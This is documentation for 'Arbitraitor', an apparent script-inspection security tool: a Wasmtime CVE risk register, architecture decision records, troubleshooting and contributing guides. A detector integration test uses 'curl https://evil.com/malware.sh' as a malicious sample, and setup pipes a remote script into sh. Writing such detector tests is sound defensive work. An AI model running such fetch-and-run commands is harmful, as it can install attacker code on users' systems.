“Affected?” column reflects whether the pinned version 46.0.1 is vulnerable.
Critical
| CVE / GHSA / RUSTSEC | Severity | Affected versions | Fixed | Description | Affected? |
|---|---|---|---|---|---|
| CVE-2026-34971 / GHSA-jhxm-h53p-jm7w / RUSTSEC-2026-0096 | Critical (9.0) | >=32.0.0, <36.0.7; >=37.0.0, <42.0.2; >=43.0.0, <43.0.1 | 36.0.7, 42.0.2, 43.0.1 | Cranelift aarch64 miscompiles load(iadd(base, ishl(index, amt))) when wasm_memory64 is enabled and Spectre mitigations are disabled, creating divergent bounds-check vs. load addresses. Enables arbitrary host-memory read/write (sandbox escape). | No — 46.0.1 >= 43.0.1 |
| CVE-2026-34987 / GHSA-xx5w-cvp6-jv83 / RUSTSEC-2026-0095 | Critical (9.0) | >=25.0.0, <36.0.7; >=37.0.0, <42.0.2; >=43.0.0, <43.0.1 | 36.0.7, 42.0.2, 43.0.1 | Winch compiler backend assumes upper bits of a 32-bit memory offset stored in a 64-bit register are cleared when they may not be. Allows guest Wasm to access memory before/after the linear-memory sandbox. Observed PoC on aarch64; x86-64 theoretical. | No — 46.0.1 >= 43.0.1, and Winch is not enabled |
High
| CVE / GHSA / RUSTSEC | Severity | Affected versions | Fixed | Description | Affected? |
|---|---|---|---|---|---|
| GHSA-2r75-cxrj-cmph / RUSTSEC-2026-0149 | High (7.5) | wasmtime-wasi <24.0.9; >=36.0.10, <37.0.0; >=44.0.2, <45.0.0; <46.0.0 | 24.0.9, 36.0.10, 44.0.2, 46.0.0 | WASI path_open(TRUNCATE) bypasses FilePerms::WRITE host restriction. | No — wasmtime-wasi not in dependency tree (default-features = false) |
Moderate
| CVE / GHSA / RUSTSEC | Severity | Affected versions | Fixed | Description | Affected? |
|---|---|---|---|---|---|
| CVE-2026-34941 / GHSA-hx6p-xpx3-jvvv / RUSTSEC-2026-0093 | Moderate (6.9) | <24.0.7; >=36.0.7, <37.0.0; >=42.0.2, <43.0.0; <43.0.1 | 24.0.7, 36.0.7, 42.0.2, 43.0.1 | Heap OOB read in component model UTF-16 to latin1+utf16 string transcoding. | No — 46.0.1 >= 43.0.1 |
| GHSA-394w-hwhg-8vgm / RUSTSEC-2026-0091 | Moderate (6.1) | <24.0.7; >=36.0.7, <37.0.0; >=42.0.2, <43.0.0; <43.0.1 | 24.0.7, 36.0.7, 42.0.2, 43.0.1 | OOB write or crash when transcoding component model strings. | No — 46.0.1 >= 43.0.1 |
| GHSA-q49f-xg75-m9xw / RUSTSEC-2026-0089 | Moderate | <43.0.1 | 43.0.1 | Host panic when Winch compiler executes table.fill. | No — 46.0.1 >= 43.0.1, and Winch is not enabled |
| GHSA-qqfj-4vcm-26hv | Moderate | <43.0.1 | 43.0.1 | Segfault or unused out-of-sandbox load with f64x2.splat on Cranelift x86-64. | No — 46.0.1 >= 43.0.1 |
| GHSA-f984-pcp8-v2p7 / RUSTSEC-2026-0094 | Moderate | <43.0.1 | 43.0.1 | Improperly masked return value from table.grow with Winch compiler backend. | No — 46.0.1 >= 43.0.1, and Winch is not enabled |
| GHSA-jxhv-7h78-9775 / RUSTSEC-2026-0092 | Moderate | <43.0.1 | 43.0.1 | Panic when transcoding misaligned component model UTF-16 strings. | No — 46.0.1 >= 43.0.1 |
| GHSA-m758-wjhj-p3jq | Moderate | <43.0.1 | 43.0.1 | Panic when lifting flags component value. | No — 46.0.1 >= 43.0.1 |
| GHSA-p8xm-42r7-89xg | Moderate | <43.0.1 | 43.0.1 | Panic when allocating a table exceeding the size of the host’s address space. | No — 46.0.1 >= 43.0.1 |
| GHSA-243v-98vx-264h | Moderate | <41.0.4 | 41.0.4 | Panic adding excessive fields to a wasi:http/types.fields instance. | No — 46.0.1 >= 41.0.4 |
| GHSA-xjhv-v822-pf94 / RUSTSEC-2026-0022 | Moderate (6.9) | >=39.0.0, <40.0.4; >=40.0.4, <41.0.0 | 40.0.4, 41.0.4 | Panic when dropping a [Typed]Func::call_async future. | No — 46.0.1 >= 41.0.4 |
| GHSA-852m-cvvp-9p4w / RUSTSEC-2026-0020 | Moderate (6.9) | <24.0.6; >=36.0.6, <37.0.0; >=40.0.4, <41.0.0 | 24.0.6, 36.0.6, 40.0.4, 41.0.4 | Guest-controlled resource exhaustion in WASI implementations. | No — 46.0.1 >= 41.0.4 |
| GHSA-vc8c-j3xm-xj73 | Moderate | <25.0.0 | 25.0.0 | Segfault or unused out-of-sandbox load with f64.copysign on x86-64. | No — 46.0.1 >= 25.0.0 |
| GHSA-4ch3-9j33-3pmj | Moderate | wasmtime-wasi <46.0.0 | 46.0.0 | WASI hard links and renames bypass FilePerms for destination. | No — wasmtime-wasi not in dependency tree |
Low
| CVE / GHSA / RUSTSEC | Severity | Affected versions | Fixed | Description | Affected? |
|---|---|---|---|---|---|
| GHSA-hfr4-7c6c-48w2 / RUSTSEC-2026-0090 | Low (1.0) | <43.0.0 | 43.0.1 | Use-after-free bug after cloning wasmtime::Linker. | No — 46.0.1 >= 43.0.1 |
| GHSA-6wgr-89rj-399p / RUSTSEC-2026-0088 | Low (2.3) | <43.0.1 | 43.0.1 | Data leakage between pooling allocator instances. | No — 46.0.1 >= 43.0.1, and pooling allocator is not enabled |
| GHSA-m9w2-8782-2946 | Low | <43.0.1 | 43.0.1 | Host data leakage with 64-bit tables and Winch. | No — 46.0.1 >= 43.0.1, and Winch is not enabled |
| GHSA-3p27-qvp9-27qf | Low | wasmtime-wasi <46.0.0 | 46.0.0 | Leak in WASIp1 fd_renumber implementation. | No — wasmtime-wasi not in dependency tree |
Historical
| CVE / GHSA / RUSTSEC | Severity | Affected versions | Fixed | Description | Affected? |
|---|---|---|---|---|---|
| CVE-2024-47763 / GHSA-q8hx-mm92-4wvg / RUSTSEC-2024-0440 | High (5.5) | <21.0.2; >=21.0.2, <22.0.0; >=22.0.1, <23.0.0; >=23.0.3, <24.0.0; >=24.0.1, <25.0.0 | 25.0.2 | Runtime crash when combining tail calls with stack traces. | No — 46.0.1 >= 25.0.2 |
Exploitability assessment
Both Critical CVEs require a malicious WebAssembly guest module to be loaded and executed. The attack surface is:
- A plugin author crafts a
.wasmcomponent that exploits the Cranelift aarch64 miscompilation or the Winch backend memory access bug. - The malicious component is loaded by
arbitraitor-plugin-host. - The component executes and reads/writes host memory outside the sandbox.
Mitigating factors in the current configuration:
- The
experimental-wasmfeature is off by default. Wasmtime plugin loading is not active unless the feature is explicitly enabled at build time. - The Winch compiler backend is not enabled. Only
craneliftis in the feature set, so CVE-2026-34987 (Winch-only) is not reachable. - CVE-2026-34971 requires
wasm_memory64enabled and Spectre mitigations disabled. Wasmtime enables Spectre mitigations by default; Arbitraitor does not disable them. - The pinned version
46.0.1is above the fix version43.0.1for all April 2026 advisories.
Enforcement
-
cargo-deny advisories check —
deny.tomlalready configures the RustSec advisory database (https://github.com/rustsec/advisory-db) andyanked = "deny". Thesecurity.ymlCI workflow runscargo deny check advisorieson every PR. Any new Wasmtime advisory published to RustSec will automatically fail CI if the pinned version is affected. -
cargo-audit — The
security.ymlCI workflow also runscargo auditas a second independent check against the RustSec database. -
GitHub dependency review — Blocks vulnerable dependency additions in PRs via GitHub’s native dependency review API.
-
Monitoring process — The risk register in this ADR must be updated whenever:
- A new Wasmtime advisory is published (check https://github.com/bytecodealliance/wasmtime/security/advisories).
- The pinned
wasmtimeversion inCargo.tomlorCargo.lockchanges. - The feature set enabled on the
wasmtimedependency changes (e.g., enabling Winch orwasm_memory64).
Consequences
- The risk register provides a single source of truth for Wasmtime CVE awareness in the Arbitraitor plugin sandbox.
cargo-denyandcargo-auditin CI automatically enforce the advisory baseline. No manual rule is needed indeny.tomlfor Wasmtime — the global advisories check covers it.- The
>=29version constraint inCargo.tomlis deliberately loose to allow Cargo to resolve to the latest compatible version. The lockfile pins46.0.1, which is above all known fix versions. Lockfile changes are security-relevant per conventions §Dependencies and must be reviewed. - If a future advisory affects
46.0.1, CI will fail on the advisories check, blocking merge until the version is bumped or the advisory is formally evaluated and ignored with justification (following the pattern used forRUSTSEC-2025-0141etc. indeny.toml). - Enabling the Winch compiler backend or
wasm_memory64in the future requires updating this risk register and re-evaluating exploitability. - The
experimental-wasmfeature gate means Wasmtime plugin loading is not active in default builds. The risk register still applies because the feature can be enabled by users building from source.
Alternatives considered
Pin a minimum version floor in Cargo.toml
Rejected for this PR. Tightening the wasmtime version constraint (e.g.,
>=43.0.1) is a separate decision that requires its own ADR and advisory
check, per the issue #463 constraints. The risk register documents the
minimum safe version; the actual version bump is tracked separately.
Add explicit ignore rules in deny.toml for wasmtime advisories
Rejected. The global cargo deny check advisories already catches affected
versions. Adding ignore rules would suppress real findings. The existing
ignore list is reserved for advisories that have been formally evaluated
and accepted (e.g., transitive bincode via yara-x).
Build a custom CI job that scrapes the GHSA page
Rejected. The RustSec advisory database is already mirrored to
~/.cargo/advisory-dbs by cargo-deny and is the canonical source for
Rust crate advisories. Building a separate scraper would duplicate
existing infrastructure and add maintenance burden.
Catalog only the two Critical CVEs from the issue
Rejected. A risk register that only lists the two CVEs named in the issue would miss the 10 other advisories published in the same April 2026 batch, several of which are Moderate severity and relevant to the component-model and Cranelift features that Arbitraitor enables. A complete catalog is necessary for informed risk decisions.
References
- Issue #463 — §41.9.1 Wasmtime April 2026 critical CVE risk register.
- ADR 0006 — Wasmtime Component Model for plugins.
- ADR 0011 — Plugin trust classification model.
- Bytecode Alliance Wasmtime Security Advisories: https://github.com/bytecodealliance/wasmtime/security/advisories
- RustSec advisory database —
wasmtimepackage: https://rustsec.org/packages/wasmtime.html - CVE-2026-34971 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-34971
- CVE-2026-34987 (NVD): https://nvd.nist.gov/vuln/detail/CVE-2026-34987
- Bytecode Alliance blog — Wasmtime’s April 9, 2026 Security Advisories: https://bytecodealliance.org/articles/wasmtime-security-advisories
- Wasmtime RELEASES.md: https://github.com/bytecodealliance/wasmtime/blob/main/RELEASES.md
deny.toml— cargo-deny configuration (advisories, licenses, bans).crates/arbitraitor-plugin-host/Cargo.toml— Wasmtime dependency declaration and feature set.
ADR 0038: Pipeline engine crate extraction and naming
Status: Proposed Date: 2026-07-23 Issue: TBD (tracking issue to be created before acceptance)
Context
Three independent compositions of the fetch→store→analyze→provenance→receipt→verdict pipeline exist in the codebase today:
arbitraitor-cli/src/pipeline.rs(ADR-0027) — composes fetcher, ContentStore, AnalysisCoordinator, signature verification, and receipt building. Does not do policy evaluation or release.arbitraitor-mcptool handlers —InspectUrlToolcomposes fetch+analyze per-call;FetchArtifactTooldoes fetch-only;ScanArtifactTooldoes analyze-only. These three tools do not use ContentStore, PolicyEngine, or receipt building. (Note:QueryReceiptTooldoes usearbitraitor_receipt::Receiptfor lookups, andApprovalTokenIssuerusesarbitraitor_store::SpentNonceStore— the broader MCP crate has store and receipt dependencies, but not for pipeline composition.)arbitraitor-daemon::ArbitraitorApi— composes fetch+store+analyze+policy+receipt. Does not do provenance verification.
Each composition covers a different subset of the pipeline. A consumer switching between surfaces (CLI, MCP, daemon) gets different security coverage without knowing it. This is worse than uniform divergence — it is silent coverage holes.
ADR-0027 moved CLI orchestration out of main.rs into pipeline.rs as an interim step “until the core state machine can own the pipeline more fully.” ADR-0027’s stated future direction was movement into arbitraitor-core. However, ADR-0002 keeps arbitraitor-core free of I/O, and the pipeline composes I/O-producing crates (fetch, store, analysis, provenance). This ADR redirects ADR-0027’s trajectory: the pipeline engine lives in its own crate, not in arbitraitor-core.
Additionally, third-party products (Rust package managers, IDE plugins, CI binaries) need to embed Arbitraitor’s pipeline without shelling out to the CLI. The spec §40 (v0.6, PR #651) describes three integration surfaces — library, daemon, MCP gateway — all over a single pipeline engine.
Note on spec dependency: This ADR references invariant numbers and spec sections from docs/spec/spec.md (PR #651, pending merge). The invariant numbering below follows the spec’s §9 list (24 invariants), which is more granular than conventions.md’s 10-invariant summary. If #651 is not merged before this ADR is accepted, inline definitions must be added.
Decision
1. Extract a new pipeline engine crate: arbitraitor-engine
Working name: arbitraitor-engine (recommended over arbitraitor-api to avoid REST/HTTP API confusion and prevent the redundant arbitraitor_api::ArbitraitorApi path).
The crate owns:
Arbitraitor— entry-point struct with a fluent builder.ArbitraitorBuilder— config, policy, signature inputs, detector list, YARA rules.ArbitraitorApi— the in-process API (moved fromarbitraitor-daemon).Config— store path, fetch policy, retention policy, receipts directory.InspectionResult— typed result carrying verdict, findings, receipt, sha256. (Note: the current code usesInspectionResultatapi.rs:84; this ADR preserves the existing name rather than renaming toInspectResult.)- A typed error derived from
thiserror.
The engine is the single authority for (spec §9 invariant numbers, pending #651 merge):
- Invariant 1 (no early release)
- Invariant 2 (immutable identity — reverify digest before every release)
- Invariant 3 (single retrieval)
- Invariant 4 (bounded processing)
- §18.3 fail-closed principle (required scanner failure must block or produce
incomplete) - Spec invariant 8 (safe temporary storage — CAS; note:
conventions.mdinvariant 8 is “monotonic project configuration” — the numbering systems differ) - Spec invariant 11 (approval integrity — inspection result feeding approval display)
- Spec invariant 12 (deterministic enforcement — detector scheduling)
- Spec invariant 22 (metadata index is non-authoritative)
- Spec invariant 23 (plan-bound approval capability — ownership gap:
ApprovalTokenIssuerandRequestApprovalToolcurrently live inarbitraitor-mcp; invariant 23 ownership is claimed but not yet realized, see proposed ADR-0039) - §26.2 (safe destination release)
State transitions (§38.3) remain owned by arbitraitor-core (the value-type state machine PipelineOperation). The engine drives the state machine through the API. Note: PipelineOperation is currently fully implemented but not wired into any of the three existing compositions. Integrating the state machine into the engine is a prerequisite for the single-pipeline principle, not a consequence of it (tech-stack §36.1 item 7).
2. arbitraitor-daemon becomes a thin consumer
The daemon crate retains only:
- Unix-socket I/O
OperationQueue(async queue with concurrency limiting, cancellation)- Capability-token recording (currently records token presence for diagnostics; full verification is a future responsibility)
- Rate-limiting
Pipeline code (fetch, store, analyze, provenance, receipt, verdict) moves to arbitraitor-engine.
3. arbitraitor-mcp becomes a thin consumer
MCP tool handlers translate JSON-RPC parameters into typed ArbitraitorApi calls. No pipeline composition is reimplemented in arbitraitor-mcp.
The full set of tool handlers:
InspectUrlTool, ScanArtifactTool, FetchArtifactTool, QueryReceiptTool, ExplainVerdictTool, RequestApprovalTool, RunApprovedArtifactTool.
Current-state gap: build_default_server() registers only 5 of 7 tools (RequestApprovalTool and RunApprovedArtifactTool are implemented but not registered). The migration must also wire these into the default server.
4. arbitraitor-cli becomes a thin consumer
Per ADR-0027’s trajectory (redirected by this ADR), the CLI’s pipeline.rs becomes a thin adapter that builds an ArbitraitorBuilder from CLI args, calls ArbitraitorApi::inspect, and formats results through the CLI’s presentation helpers.
5. Public API stability contract
Before 1.0, arbitraitor-engine publishes under SemVer 0.x:
- Breaking changes tracked in
CHANGELOG.mdand flagged in the release PR. - The public surface is deliberately narrow:
Arbitraitor,ArbitraitorBuilder,ArbitraitorApi,Config,InspectionResult, and a typed error. - Feature flags gate heavier integrations (
yara-x,sigstore,package-manager,plugin-host) so minimal consumers do not pull those transitive dependencies. - The public API never exposes types from
arbitraitor-fetch,arbitraitor-store,arbitraitor-analysis,arbitraitor-receipt,arbitraitor-provenance, orarbitraitor-execverbatim.
6. InspectionResult.receipt type identity
InspectionResult exposes a receipt. To insulate consumers from arbitraitor-receipt schema changes (e.g. the envelope restructure in #492), InspectionResult.receipt must be an engine-owned wrapper struct that maps from internal arbitraitor-receipt::Receipt types — not the raw type. This means:
- When
arbitraitor-receiptschema changes (flat → envelope per #492), the engine crate absorbs the mapping change. Consumers see a stableInspectionResultReceipttype. - The wrapper must expose all fields consumers need (verdict, findings, sha256, retrieval metadata) without leaking
arbitraitor-receipttypes. - Review trigger: if
arbitraitor-receiptadds a field consumers need, the wrapper must be updated in the same PR.
7. Current type leakage migration
The existing ArbitraitorApi in arbitraitor-daemon leaks internal types:
Config.fetch_policy: FetchPolicy(fromarbitraitor-fetch)ReleaseResult.method: ReleaseMethod(fromarbitraitor-exec)ApiError::Store(StoreError)(fromarbitraitor-store)ArbitraitorBuilder::policy(PolicyEngine)(fromarbitraitor-policy)
All of these must be wrapped in engine-owned types before the crate publishes to crates.io (tech-stack §36.1 item 6).
Consequences
- Single pipeline, one set of invariants. CLI, MCP, daemon, and third-party embedders all route through the same engine. Silent coverage holes are eliminated.
- ADR-0027 trajectory redirected. ADR-0027 envisioned movement into
arbitraitor-core; this ADR moves to a separate engine crate because the pipeline composes I/O-producing crates and ADR-0002 keepsarbitraitor-corefree of I/O. PipelineOperationmust be wired. The state machine inarbitraitor-coreis currently unused. Integration is a prerequisite, not a consequence, of the extraction.- Provenance verification must be added to the engine. The CLI pipeline does minisign/cosign verification;
ArbitraitorApidoes not. The engine must own this. - Approval flow ownership gap.
ApprovalTokenIssuerandRequestApprovalToolcurrently live inarbitraitor-mcp. The engine claims invariant 23 (plan-bound approval) but the approval flow is not yet integrated. This gap is explicitly deferred to ADR-0039 (proposed). Until ADR-0039 is accepted, invariant 23 ownership is aspirational, not realized. - MCP dependency closure grows. When
arbitraitor-mcpdepends onarbitraitor-engine, it transitively depends onarbitraitor-store,arbitraitor-fetch, etc. The MCP process’s attack surface increases. Feature flags mitigate this but do not eliminate it. - New §9 invariant candidate. The single-pipeline principle (“only the pipeline engine may transition the state machine across retrieval → release”) is a security-relevant assertion not yet in §9. If added as invariant 25, the
invariants.ymlCI workflow must test it. Deferred to a separate decision.
Alternatives considered
-
Move pipeline into
arbitraitor-core: Rejected. ADR-0002 keepsarbitraitor-corefree of I/O. The pipeline composes I/O-producing crates (fetch, store, analysis, provenance). While ADR-0027’s “Alternatives considered” called the core move a “better final boundary,” the I/O constraint makes it architecturally incompatible. This ADR formally redirects ADR-0027’s trajectory rather than perpetuating an unfulfillable plan. -
Multi-pipeline composition per consumer: Rejected. Reintroduces the silent coverage holes that motivated the extraction. Each composition omits different invariants.
-
Toolkit crate exposing individual components: Rejected. Third parties would re-implement invariants (§9 and §26.2) and the security boundary becomes advisory rather than enforced.
-
Library embedding as the only surface (no daemon, no MCP): Rejected. Non-Rust consumers (Go, Python, Node) need a stable out-of-process surface.
-
Name
arbitraitor-api: Rejected. Evokes REST/HTTP APIs, creates the redundantarbitraitor_api::ArbitraitorApipath, and conflicts with common expectations of what an “API crate” provides. -
Name
arbitraitor-runtime: Rejected. “Runtime” is overloaded — could mean execution runtime, plugin runtime, or WASM runtime. The codebase already hasarbitraitor-execandarbitraitor-plugin-host.
Staged rollout
- Stage 0:
PipelineOperationwired into at least one composition (prerequisite — must be complete before ADR acceptance). - Stage 1: This ADR accepted. Spec §40 marked as normative (requires #651 merged).
- Stage 2: Add provenance verification to
ArbitraitorApi(currently CLI-only). - Stage 3: Extract
arbitraitor-enginecrate fromarbitraitor-daemon. - Stage 4: Make MCP thin (rewrite tool handlers to delegate to
ArbitraitorApi). - Stage 5: Make CLI thin (rewrite
pipeline.rsto delegate toArbitraitorApi). - Stage 6: Type wrapping (wrap all leaking types in engine-owned structs).
- Stage 7: Feature flags (
yara-x,sigstore,package-manager,plugin-host). - Stage 8: Publish to crates.io under
0.x.
Dependencies on in-flight issues
- #651 (spec commit, pending merge): This ADR references invariant numbers (11, 12, 22, 23) and spec sections (§9, §18.3, §26.2, §38.3, §36.1, §40) from
docs/spec/spec.md. These do not exist in the codebase until #651 is merged. If #651 is not merged before this ADR is accepted, inline invariant definitions must be added. - #492 (receipt envelope, breaking-change):
InspectionResult.receipttype identity depends on this. The engine-owned wrapper (decision 6) absorbs the breaking change. Must coordinate. - #462 (WASI 0.3 floor): May override tech-stack §10.1 cautious wording. Reconcile WASI 0.3 status before the
plugin-hostfeature flag ships. - #503 (mandatory detector coverage) — MERGED: Coverage-map policy must be exposed through
ArbitraitorBuilder. - #499 (decoded-child artifact) — MERGED:
InspectionResultmay need a child-identity field beyond singlesha256. - #463 (Wasmtime CVE risk register): Adds receipt fields (
wasmtime_version,compiler_backend) that flow throughInspectionResult.receipt. Three-way coordination with #492.
References
- Spec §40 (
docs/spec/spec.md, PR #651) - Tech-stack §3.5 (
docs/spec/tech-stack.md, PR #651) - ADR-0002 (workspace structure and crate boundaries)
- ADR-0013 (plan-bound approval capability)
- ADR-0027 (CLI pipeline boundary — redirected by this ADR)
conventions.md(security invariants — note: uses different invariant numbering than spec §9)
ADR 0039: Receipt envelope structure (spec §31.1)
Status: Accepted Date: 2026-07-23 Issue: #492
Context
The receipt schema (v1) used a flat structure where all fields lived at the
top level of the Receipt struct. As the receipt grew to include
provenance, detector, policy, and release metadata, the flat structure
became difficult to navigate and did not match the spec §31.1 top-level
envelope shape:
{
"schema_version": 1,
"request": {},
"artifact": {},
"retrieval": {},
"provenance": {},
"payload_graph": {},
"detectors": [],
"findings": [],
"policy": {},
"verdict": {},
"release": {},
"timestamps": {}
}
Issue #492 flagged this as a HIGH-severity spec gap.
Decision
Adopt the spec §31.1 envelope structure as schema v2. The Receipt struct
is reorganized into grouped sub-structs:
| Bucket | Sub-struct | Fields moved from v1 top-level |
|---|---|---|
request | RequestInfo | arbitraitor_version, config_digest |
artifact | ArtifactInfo | artifact_sha256 → sha256, artifact_size → size, artifact_type |
retrieval | Option<RetrievalInfo> | unchanged |
provenance | ProvenanceInfo | verifier_identity, detector_provenance, signature, signatures |
payload_graph | Option<PayloadGraph> | unchanged (now always present as key, null when None) |
detectors | Vec<DetectorVersion> | detector_versions |
findings | Vec<FindingSummary> | unchanged |
policy | PolicyInfo | policy_digest, allow_rule_metadata, audit_trail |
verdict | VerdictInfo | unchanged |
release | Option<ReleaseInfo> | approval and effective_controls moved from top-level into ReleaseInfo |
timestamps | ReceiptTimestamps | unchanged |
Migration path
Receipt::parse(json) accepts both v1 (flat) and v2 (envelope) JSON. v1
receipts are deserialized into ReceiptV1 and converted to v2 via
Receipt::from_v1(). This allows existing receipt files on disk to be
read transparently.
Canonicalization
unsigned_canonical_bytes() clears provenance.signature and
provenance.signatures before canonicalization (ADR-0014). The signature
fields moved from top-level to provenance.* but the canonicalization
logic is unchanged — signatures are still excluded to prevent
self-reference.
Builder API
ReceiptBuilder method signatures are unchanged. The builder internally
constructs the nested structure and handles the approval and
effective_controls fields via pending state that is merged into release
on build().
Consequences
- Breaking change: any code that directly accesses
receipt.artifact_sha256,receipt.policy_digest, etc. must update toreceipt.artifact.sha256,receipt.policy.policy_digest, etc. schema_versionbumped from 1 to 2.- All 12 top-level keys are always present in serialized JSON (spec §31.1 acceptance criterion).
- v1 receipts on disk are automatically migrated when read via
Receipt::parse(). - in-toto Statement export (ADR-0023) and SARIF export (§31.4) continue to
work — they read from the nested
artifact.sha256field. - The
ReceiptBuilderAPI is source-compatible — downstream callers that use the builder do not need changes.
Alternatives considered
- Keep flat structure, add envelope as a wrapper type: rejected because the spec §31.1 explicitly requires the top-level keys to be the envelope buckets. A wrapper would add an extra nesting level not in the spec.
- Make all fields always present (non-Option): rejected because
retrieval,payload_graph, andreleaseare genuinely optional (not all flows produce them). They serialize asnullwhen absent, which satisfies the “all top-level keys present” requirement.
References
- Spec §31.1 (top-level envelope structure)
- ADR-0014 (receipt canonicalization, RFC 8785 JCS)
- ADR-0023 (in-toto Statement receipt envelope)
- Issue #492
Troubleshooting
Common issues and how to resolve them.
Build problems
OpenSSL errors during cargo install
Symptom: Build fails with Could not find directory of OpenSSL installation.
Fix: Install the OpenSSL development headers.
# Ubuntu/Debian
sudo apt install pkg-config libssl-dev
# macOS
brew install pkg-config openssl@3
# May also need:
export OPENSSL_DIR=$(brew --prefix openssl@3)
Out of memory during compilation
Symptom: Build killed by OOM killer or linker error.
Fix: Reduce parallelism.
cargo install --path crates/arbitraitor-cli -j 2
arbitraitor command not found after install
Symptom: command not found: arbitraitor
Fix: Ensure ~/.cargo/bin is on your PATH.
echo 'export PATH="$HOME/.cargo/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
Inspection problems
inspect returns INCOMPLETE verdict
Cause: A detector failed to complete. This is fail-closed behavior — Arbitraitor treats a failed detector as untrusted, not clean.
Fix:
- Run
arbitraitor statusto check detector health. - Re-run the inspection — transient network errors may resolve.
- If a specific detector consistently fails, check its configuration.
- Use
--no-detectorsto identify-only (for debugging, not production).
inspect reports findings on a script I trust
This is expected. Arbitraitor reports what the script does, not whether
it is safe. A finding like network:curl means the script downloads
content — that is information for your decision, not a verdict.
Use --explain to understand each finding:
arbitraitor inspect https://example.com/install.sh --explain
Provenance verification fails
Fix:
- Verify the public key is correct.
- Ensure you are passing the
.pubkey, not the secret key. - The artifact may have changed since the signature was created.
Execution problems
run exits with code 5
The verdict requires approval, but you are in non-interactive mode.
Fix: Run interactively (without --non-interactive) to get the
approval prompt.
run exits with code 3
The artifact was blocked by policy — findings exceeded your block thresholds.
Fix: Review findings with inspect --explain. If you have a
legitimate need to run a blocked artifact, adjust your policy thresholds.
Do not disable policy enforcement globally.
Script fails with network errors during execution
Cause: Mediated execution denies network access by default (Level 2).
Fix: If the script legitimately needs network access, grant it explicitly:
arbitraitor run https://example.com/install.sh --network
This is an intentional security boundary. Only grant network access to scripts you have inspected and trust.
Configuration problems
Config changes not taking effect
- Config locations:
~/.arbitraitor/config.toml(user) or./.arbitraitor/config.toml(project). - Override order: defaults → user config → project config →
--config. - Run
arbitraitor statusto see the loaded configuration.
Secret references not resolving
Ensure the environment variable or file exists:
export URLHAUS_API_KEY=your-key-here
File paths must be absolute in the config:
api_key = "secret://file//etc/arbitraitor/keys/api.key"
Getting help
- Open a discussion for questions.
- File an issue for bugs.
- See SECURITY.md for vulnerability reporting — do not report security issues through public issues.
Contributing
Arbitraitor welcomes contributions from the community. This guide covers development setup, the PR process, and standards.
Development setup
Toolchain
Arbitraitor uses mise for toolchain management:
# Install mise if not already
curl https://mise.run | sh
# Install Rust toolchain and tools
mise install
Verify the setup:
rustc --version # Should show Rust 2024 edition
cargo --version
mise current # Should show configured versions
Repository structure
arbitraitor/
├── crates/ # All workspace crates
├── book/ # mdBook documentation
├── docs/
│ └── adr/ # Architecture decision records
├── wit/ # WIT interface definitions
├── rules/ # YARA-X rule packs
└── schemas/ # JSON schemas
Worktree discipline
Work in a temporary worktree, never on main:
git fetch origin
git worktree add ../arbitraitor-<task-slug> main
cd ../arbitraitor-<task-slug>
This keeps the main checkout clean and allows parallel work.
Running tests
# All tests
cargo nextest run
# Specific crate
cargo nextest run -p arbitraitor-shell
# With coverage
cargo tarpaulin --workspace
Pre-PR checks
Before opening a PR, run:
cargo fmt --check
cargo clippy --workspace --all-targets --all-features -- -D warnings
cargo check --workspace --all-targets --all-features
cargo nextest run
All checks must pass. If CI fails, fix the issue — do not disable checks.
PR process
Branch naming
Use <type>/<short-slug>:
git checkout -b feat/fetcher-trait
git checkout -b fix/store-digest-race
git checkout -b docs/mdbook-site
git checkout -b security/plugin-wasi-boundary
Commit messages
The PR title uses Conventional Commits format (squash merge):
feat(fetch): enforce connected-peer address policy
fix(store): prevent release from stale artifact handle
docs(spec): define encoded HTTP artifact identity
security(plugin): reject undeclared WASI imports
PR requirements
Every PR must include:
- Problem and approach — what changed and why
- Linked issue — use closing keywords (
Fixes #123) - Security impact — how this affects the threat model
- Tests added — what behavior is now covered
- Documentation updated — user-facing or architecture docs
- Compatibility impact — API, CLI, protocol changes
Adversarial review
PRs created by automated agents require review from a different agent. The reviewer must attempt to break the implementation, verify security invariants hold, and check for edge cases.
Small PRs
Keep PRs focused and reviewable. If a change is large, split it into stacked PRs:
feat/base-api <- merge first
feat/fetcher-use <- merge second
feat/store-use <- merge third
ADR process
Architecture decisions are recorded as ADRs (Architecture Decision Records) in docs/adr/.
When to write an ADR:
- Adding a production dependency with security implications
- Changing the trust model or execution context
- Choosing between approaches where reversal is expensive
- Adding or changing a plugin capability
ADR format:
# ADR NNNN: Title
**Status:** Accepted | Proposed | Superseded | Rejected
**Date:** YYYY-MM-DD
**Issue:** #NN
## Context
Why this decision is needed.
## Decision
What was decided.
## Consequences
What follows from the decision.
## Alternatives considered
Options that were evaluated and rejected.
## References
Related specs, ADRs, or documentation.
Testing strategy
Unit tests
Every meaningful behavior gets a unit test:
#![allow(unused)]
fn main() {
#[test]
fn finding_aggregates_by_severity() {
let findings = vec![
Finding { severity: Severity::High, .. },
Finding { severity: Severity::Low, .. },
Finding { severity: Severity::High, .. },
];
let aggregated = aggregate_by_severity(findings);
assert_eq!(aggregated.high, 2);
assert_eq!(aggregated.low, 1);
}
}
Integration tests
Cross-crate interactions are tested via integration tests:
#![allow(unused)]
fn main() {
// tests/analysis_pipeline.rs
#[tokio::test]
async fn full_pipeline_with_shell_detector() {
let artifact = test_artifact("curl https://evil.com/malware.sh");
let result = Arbitraitor::new().inspect(artifact).await;
assert!(result.findings.iter().any(|f| f.id == "network:curl"));
}
}
Property tests
For functions with many input permutations:
#![allow(unused)]
fn main() {
proptest! {
#[test]
fn url_normalization_roundtrips(url: NormalizedUrl) {
let serialized = url.to_string();
let parsed: NormalizedUrl = serialized.parse().unwrap();
prop_assert_eq!(url, parsed);
}
}
}
Test shapes
| Layer | Count | Speed |
|---|---|---|
| Unit | Many | < 10ms each |
| Integration | Some | < 1s each |
| E2E | Few | seconds |
Security-sensitive changes
Changes to these paths require extra scrutiny:
arbitraitor-fetch/— transport, SSRF, TLSarbitraitor-store/— CAS, digest verification, releasearbitraitor-exec/— execution brokerarbitraitor-plugin-host/— Wasmtime runtimewit/— plugin interface definitionsCargo.lock— dependency supply chain
Security-sensitive changes require review from a code owner before merge.
Code style
- Follow
cargo clippy --workspace --all-targets --all-features -- -D warnings - No
unwrap()in production code - Use
thiserrorfor typed errors - Use
tracingfor structured logging - No
println!in library crates
Security Policy
Reporting a Vulnerability
Do not report vulnerabilities through public GitHub issues.
Use GitHub private vulnerability reporting to disclose security issues responsibly.
Please include:
- Description of the vulnerability and its impact
- Steps to reproduce or proof of concept
